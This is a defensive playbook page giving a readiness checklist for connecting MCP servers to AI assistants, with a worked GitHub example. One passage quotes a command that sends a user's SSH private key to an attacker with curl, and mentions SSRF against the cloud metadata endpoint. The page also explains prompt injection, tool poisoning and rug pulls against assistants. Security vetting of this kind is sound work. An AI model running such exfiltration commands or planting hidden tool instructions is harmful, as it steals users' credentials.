Playbooks & Templates

MCP Readiness Checklist

This is a go or no-go gate you run before you connect an MCP server to an assistant, so a useful integration does not quietly become a path for data to leak or for a stranger to act with your access. It is about the connection, the trust you are extending, and the blast radius if a token leaks, separate from whether a single task is safe to automate (that is the Agent Readiness Checklist). Run it the first time you enable a server, and again whenever the server, its scopes, or its publisher change.

PlaybookMCPSecurity

When to use this

  • You are about to connect a third-party MCP server that can write to a production system (open a ticket, post to a channel, run a query, deploy).
  • A community or marketplace MCP server looks useful and you have to decide whether it is safe to enable for yourself or your team.
  • A server you already trust has shipped an update, changed its requested scopes, or changed publisher, and you need to re-check it.
  • You are wiring an assistant to an internal tool and have to decide which credentials and scopes it gets and what it may do.
  • A remote MCP server is asking you to authenticate, and you need to confirm the auth flow is sound before you click approve.
  • You are running an MCP server locally from a downloaded binary or an npx command, and you want to know what it can reach on your machine.
  • Someone on the team wants to add a server to the shared config, and you own the review before it lands in everyone's setup.

What it helps clarify

  • Whether the value the server adds is worth the access it asks for, or whether a narrower option exists.
  • What the server can actually reach: which systems, which data, read-only or write, and with whose credentials.
  • Whether the authentication is sound, specifically that tokens are scoped to this server and not passed through to other services.
  • The blast radius if the server is compromised or a token leaks, and how quickly you could cut access.
  • Whether the server's tool descriptions and outputs are treated as untrusted input that could carry hidden instructions.
  • Who owns the connection: who approved it, who reviews updates, and who revokes it when it is no longer needed.

Why this gate matters

Connecting an MCP server feels like flipping a switch, and that is exactly the problem. Maya enables a GitHub server so the assistant can fetch a merged pull request's title on its own, dropping eleven copy-pastes a week to zero. The convenience is real. So is what she just did: she handed a running process her GitHub token and let it act with her access. The Model Context Protocol is an open standard for letting an assistant call an external tool through a small server, a Postgres query, a Jira lookup, a Sentry trace. The server runs as a process with your credentials, and that is the part a quick "looks useful, enable it" skips right over.

The 2026 security literature on MCP is blunt about where this goes wrong. The official Security Best Practices document (a companion to the authorization spec, with the 2025-11-25 revision as the current stable release) names five attack families a reviewer has to think about. Token passthrough is forbidden outright: a server MUST NOT accept tokens that were not issued for it, because forwarding your token to a downstream API turns the server into a confused deputy and a proxy for data exfiltration. The confused deputy attack lets a malicious client skip a consent screen using a leftover consent cookie and a dynamically registered redirect URI, walking off with an authorization code. Server-side request forgery lets a hostile server hand the client a URL pointing at http://169.254.169.254/, the cloud metadata endpoint, and read back IAM credentials. Session hijacking and local server compromise round out the list, the latter as stark as a startup command that quietly runs curl -X POST -d @~/.ssh/id_rsa against an attacker's server.

None of these require Maya to be careless in the moment. They require her to skip the questions once, at connection time, and then forget. The cost of skipping this gate is that a useful integration becomes a standing hole that nobody is watching. The checklist exists so the questions get asked while the decision is still reversible, before the server is in the shared config and three teammates are depending on it. It is a small tax on the first connection that buys you a bounded blast radius for the life of the integration.

How to fill it in well

The difference between a checklist that protects you and one that rubber-stamps the decision is whether each line cites a check or states a mood. Walk the same line two ways and the gap is obvious.

Audience validation. A weak entry reads "auth is handled, the team set it up." That is a feeling, not a fact, and it passes a compromised server straight through. A strong entry reads "the server is registered as an OAuth 2.1 resource server and rejects any token whose aud claim is not this server; it uses its own scoped credential for the upstream GitHub call rather than forwarding mine." The second one names the spec behavior (MUST NOT accept tokens not issued for it, per RFC 8707 audience validation) and tells you the passthrough anti-pattern is closed. If you cannot say which of the two you have, you have the weak one.

Least access. A weak entry is "scopes look fine." A strong entry is "the default config requested repo:write; we only read, so we re-scoped to read-only on our two repositories and declined the rest." The strong version did the work the spec calls scope minimization: start from the narrowest set, and let the server challenge for more only when a privileged operation is actually attempted. Wildcard or omnibus scopes (files:*, full-access) are the tell that nobody minimized anything, and they widen the blast radius of every leaked token.

Blast radius. A weak entry says "seems low risk." A strong entry says "one leaked token exposes read-only access to two repos, nothing writable, and I can revoke it in the GitHub app settings in under a minute." The strong version answers two concrete questions, what is exposed and how fast can you cut it, and the answers are bounded. "Everything, and I am not sure how to revoke it" is a no, not a low.

Apply the same discipline to the rest. Source trusted means you verified the exact package name against typosquats, scanned dependencies, and pinned a version, not that the README looked professional. Output untrusted means you have internalized that a pull request body or a tool description is attacker-controllable text: the two named patterns are prompt injection, where untrusted content smuggles instructions, and tool poisoning, where a server hides instructions in its tool descriptions. The handling is to summarize tool output rather than auto-act on it, and to keep a human between the output and any high-risk action. Local containment means you saw the full untruncated startup command before it ran and the server is sandboxed over stdio, because a local server runs with your privileges and a one-click config can smuggle a malicious command. Fill every line as a check you performed, in the past tense, with a specific noun in it.

Pitfalls, and using it on a team

A few traps make this checklist feel done while leaving the real work undone.

  • "Auth is handled" as a thought-stopper. The single most common failure is accepting a vague reassurance for the audience and passthrough lines. These are the lines that prevent a confused-deputy or token-theft incident, so they deserve a concrete answer or a blocked connection, never a shrug.
  • Checking once and never again. A rug pull is when a server you already approved silently changes a tool's definition after the fact, because MCP has no built-in integrity check on tool definitions. If you only review at first connection, you never see the swap. Pin the exact version, and re-run the gate when the version moves.
  • Over-broad scopes "to save a future prompt." Granting repo:write when you only read, so you do not have to re-consent later, is precisely the scope inflation the spec warns against. It turns a read-only leak into a write-access leak.
  • Trusting tool output. Letting the assistant act on a Jira description or a PR body as if it were a trusted instruction is how prompt injection reaches your systems. Treat every byte that crosses the server boundary as untrusted.
  • No logging on day one. If tool-call logging is off, an incident is invisible and uninvestigable. Turn it on before the first real call, not after the first scare.
  • Unsandboxed local servers. Running a downloaded binary or an npx command without seeing the startup command, and without a sandbox, hands arbitrary code your full privileges. Use stdio, restrict the filesystem and network, and read the command.

On a team the gate changes shape. The first time anyone connects a server, the review is thorough and a second person reads the auth and scope lines. After that, ownership matters more than repetition: one person, Priya in our running example, owns each connection, so there is a named human who re-reviews updates before they land in the shared config and who revokes the credential when the integration is retired. Match the rigor to the access, a read-only server on one repo can pass on a quick read, while a server that can write to production gets every line and a co-reviewer. When you are rolling a server out widely rather than enabling it for yourself, this checklist is one of three. The Agent Readiness Checklist decides whether a specific task is safe to let the assistant run through that server, and the Change Readiness Checklist decides whether the team is set up to adopt the new capability at all. For the deeper how-to on reading the scripts, hooks, and scopes an extension ships, the Skills, Plugins, and Extensions guide and the MCP and Tool-Connected AI workshop go field by field. On your next real connection, do one small thing: before you click approve, write the audience-validation line in your own words. If you cannot, you have found your first no.

The checklist

Work top to bottom. A no or an unknown on any safety item is a stop, not a footnote. If you cannot answer a question, that counts as a no until you can.

  • Value is clear : You can name the specific task this server enables and why it beats pasting the data by hand or using a narrower tool.
  • Least access : The server requests the narrowest scopes for the job (read-only where possible, one system not all of them), not a blanket grant.
  • Audience is validated : The server only accepts tokens issued for itself, and does not pass your token through to a downstream API on your behalf.
  • Auth flow is sound : Remote servers use OAuth 2.1 with PKCE over HTTPS, exact redirect URI matching, and a per-client consent screen you actually see.
  • Source is trusted : You verified the publisher and package name (no typosquat), read or scanned the code and dependencies, and pinned an exact version.
  • Local server is contained : A local server runs over stdio or a restricted socket, in a sandbox with only the files and network it needs, and you saw the exact startup command before it ran.
  • Output is untrusted : You treat tool descriptions and tool results as attacker-controllable text that can carry prompt injection, and no high-risk action auto-runs on it.
  • Network is fenced : The server cannot reach internal IPs or the cloud metadata endpoint (169.254.169.254), so a forged request cannot exfiltrate credentials.
  • Blast radius is bounded : You know what one leaked token exposes, and you can revoke or rotate it fast without breaking everything else.
  • Owner and review : One person owns this connection, updates are re-reviewed before they land, and logging is on from the first day.

Example

Worked example: Maya reviews a GitHub MCP server before enabling it
Server: github-mcp (community marketplace), remote HTTP transport Reviewer: Maya Date: 2026-06-13 Decision owner: Priya Value is clear ......... YES. Assistant fetches merged-PR titles and diffs itself instead of Maya pasting them. ~11 pastes/week. Least access ........... PARTIAL. Default asks for repo:write. We only need read. Re-scoped to read-only on our two repos. Audience validated ..... YES. Server is an OAuth 2.1 resource server, rejects tokens whose aud is not this server. No passthrough. Auth flow sound ........ YES. OAuth 2.1 + PKCE over HTTPS, exact redirect URI, per-client consent screen names the client and scopes. Source trusted ......... PARTIAL. Publisher verified, but one transitive dep flagged. Pinned exact version, opened a follow-up. Local containment ...... N/A. Remote server, no local binary. Output untrusted ....... YES. PR bodies treated as injectable text. Assistant summarizes, never auto-runs a command from a PR body. Network fenced ......... YES. Hosted; egress policy blocks internal + metadata. Blast radius ........... LOW. Read-only token on two repos, revocable in the GitHub app settings in under a minute. Owner / review / logs .. Priya owns it. Updates re-reviewed. Tool-call logging on. DECISION: GO, read-only, two repos. Re-check on any scope change.

Usage notes

  • Treat any unknown as a no. "Auth is handled" is not an answer; "the server rejects tokens whose audience is not itself" is. If you cannot verify a safety line, the connection waits.
  • Re-run the checklist on every update, not just the first connection. A server you trusted can silently change a tool definition after approval (a rug pull), so re-review and re-pin when the version moves.
  • Match the depth to the access. A read-only server on one repo gets a quick pass; a server that can write to production deserves every line and a second reader.
  • This gate is about the connection. Whether one specific task is safe to let the assistant run is the Agent Readiness Checklist, and whether the team is set up to adopt the new capability is the Change Readiness Checklist. Use all three when you roll a server out widely.
  • For the deeper how-to on vetting plugins and MCP servers, including reading the scripts, hooks, and scopes before enabling, see the Skills, Plugins, and Extensions guide and the MCP and Tool-Connected AI workshop.
  • Keep the filled-in checklist with the connection record. When the next person asks why this server has these scopes, the answer is written down.

Copy this into your notes

# MCP Readiness Check Server: Transport (remote HTTP / local stdio): Reviewer: Date: Decision owner: ## Value - [ ] Value is clear: the task it enables, and why it beats a narrower option ## Access and auth - [ ] Least access: narrowest scopes, read-only where possible - [ ] Audience validated: accepts only tokens issued for itself, no passthrough - [ ] Auth flow sound: OAuth 2.1 + PKCE, HTTPS, exact redirect URI, per-client consent ## Trust and containment - [ ] Source trusted: publisher and package verified, code/deps scanned, version pinned - [ ] Local server contained: stdio or restricted socket, sandboxed, startup command seen - [ ] Output untrusted: tool descriptions and results treated as injectable text - [ ] Network fenced: cannot reach internal IPs or 169.254.169.254 ## Ownership - [ ] Blast radius bounded: what one leaked token exposes, and how fast to revoke - [ ] Owner named, updates re-reviewed, logging on from day one ## Decision GO / NO-GO: Conditions (scopes, repos, expiry): Re-check trigger:

Downloadable version

A one-page go or no-go gate for connecting an MCP server to an assistant.

Preview

Value and fit

  • You can name the specific task this server enables, and why it beats pasting the data by hand.
  • No narrower option (a read-only scope, a single system, an existing tool) would do the same job with less access.
  • The server is worth the standing risk of being connected, not just useful in the moment.

Access and authorization

  • The server requests the narrowest scopes for the job, read-only where possible, one system rather than all of them.
  • The server accepts only tokens issued for itself and rejects tokens whose audience is a different service.
  • The server does not pass your token through to a downstream API; it uses its own scoped credential for upstream calls.
  • Remote servers use OAuth 2.1 with PKCE over HTTPS, with exact redirect URI matching (no wildcards).
  • A per-client consent screen names the client, the third-party scopes, and where tokens will be sent, and you actually saw it.
  • Each server has its own scoped credential; no token is shared across servers.

Trust and supply chain

  • You verified the publisher and the exact package name, and it is not a typosquat of a popular server.
  • You read or scanned the server code and its dependencies, and pinned an exact version.
  • You will re-review and re-pin when the version changes, so a silent tool-definition swap (a rug pull) cannot slip through.
  • Tool descriptions and parameter schemas were inspected for hidden instructions before approval.

Containment and runtime safety

  • A local server runs over stdio or a restricted socket, in a sandbox with only the files and network it needs.
  • You saw the full startup command, untruncated, before it ran, and it does not touch SSH keys, system files, or unexpected network endpoints.
  • Tool descriptions and tool results are treated as untrusted, attacker-controllable text that can carry prompt injection.
  • No high-risk action runs automatically on the strength of tool output; a human reviews it first.
  • The server cannot reach internal IP ranges or the cloud metadata endpoint at 169.254.169.254.

Blast radius and ownership

  • You know what one leaked or stolen token would expose, and the answer is bounded, not "everything".
  • You can revoke or rotate the credential quickly without breaking unrelated workflows.
  • One person owns this connection, and updates are re-reviewed before they land in a shared config.
  • Tool-call logging is on from the first day, so an incident can actually be investigated.

Decision

  • Every safety line is a clear yes; any no or unknown blocks the connection until it is resolved.
  • The decision is recorded with its scopes, conditions, and a trigger for when to re-check.
MCP Readiness Checklist